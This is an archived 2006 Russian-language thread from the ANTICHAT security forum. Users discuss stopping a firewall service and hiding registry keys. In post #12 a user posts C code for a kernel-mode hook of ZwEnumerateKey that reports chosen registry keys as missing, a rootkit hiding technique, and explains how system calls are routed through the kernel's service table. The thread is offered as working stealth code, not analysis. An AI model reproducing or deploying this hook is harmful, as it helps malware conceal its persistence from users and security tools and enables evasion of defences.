ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 03.04.2006, 12:33
Deem3n®
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
Провел на форуме:
3730496

Репутация: 519
По умолчанию

Цитата:
Сообщение от KEZ  
А если фаер был выключен? (DEMAND_START)
Тогда StopService() вернет ошибку, а StartService его запустит.
ну предварительно перед остановкой можно ретривнуть статус сервиса, и если SERVICE_RUNNING то StopService() дабы не вызывать ошибку
Цитата:
Сообщение от KEZ  
one more time
... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...
3-й раз )) ну это у тебя, а у тех кто читает топик, нет ))
 

  #12  
Старый 03.04.2006, 13:57
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Код:
WCHAR g_swRegHidePrefix[]  = L"KeyToHide1";
WCHAR g_swRegHidePrefix2[] = L"KeyToHide2";

NTSTATUS NewZwEnumerateKey(
    IN HANDLE KeyHandle,
    IN ULONG Index,
    IN KEY_INFORMATION_CLASS KeyInformationClass,
    OUT PVOID KeyInformation,
    IN ULONG Length,
    OUT PULONG ResultLength )
{
	KEY_BASIC_INFORMATION *kbi = NULL;
	NTSTATUS ret;

	ret = TrueZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength );
	if (!KeyInformationClass)
	{
		kbi = (KEY_BASIC_INFORMATION*)KeyInformation;
		if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix[0], 18 ) == 18 )
			ret = STATUS_NO_SUCH_FILE;
		if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix2[0], 16 ) == 16 )
			ret = STATUS_NO_SUCH_FILE;
	}
	return ret;	
}
Ядро экспортирует указатель на SST, таблицу, в которой храняться адреса системных вызовов ядра.
API юзера выполняет какие-то действия обращается к Native-API юзера (ZwOpenKey или NtOpenKey, и т.п.),
а они-просто содержат код int 0x2e (в xp-sysenter), и управление передается обработчику прерывания 0x2e - ф-ии KiSystemService. В eax должен быть номер сис. вызова, а в edx (как я помню) - указатель на парамерты... Почти как в Unix... Только там во все регистры заносятся параметры или указатели.

Последний раз редактировалось KEZ; 03.04.2006 в 14:05..
 

  #13  
Старый 08.04.2006, 23:47
ac005
Banned
Регистрация: 09.02.2006
Сообщений: 5
Провел на форуме:
37370

Репутация: -5
По умолчанию

это код c++????
 

  #14  
Старый 08.04.2006, 23:52
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

нет, это код к дверям в подъезде
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ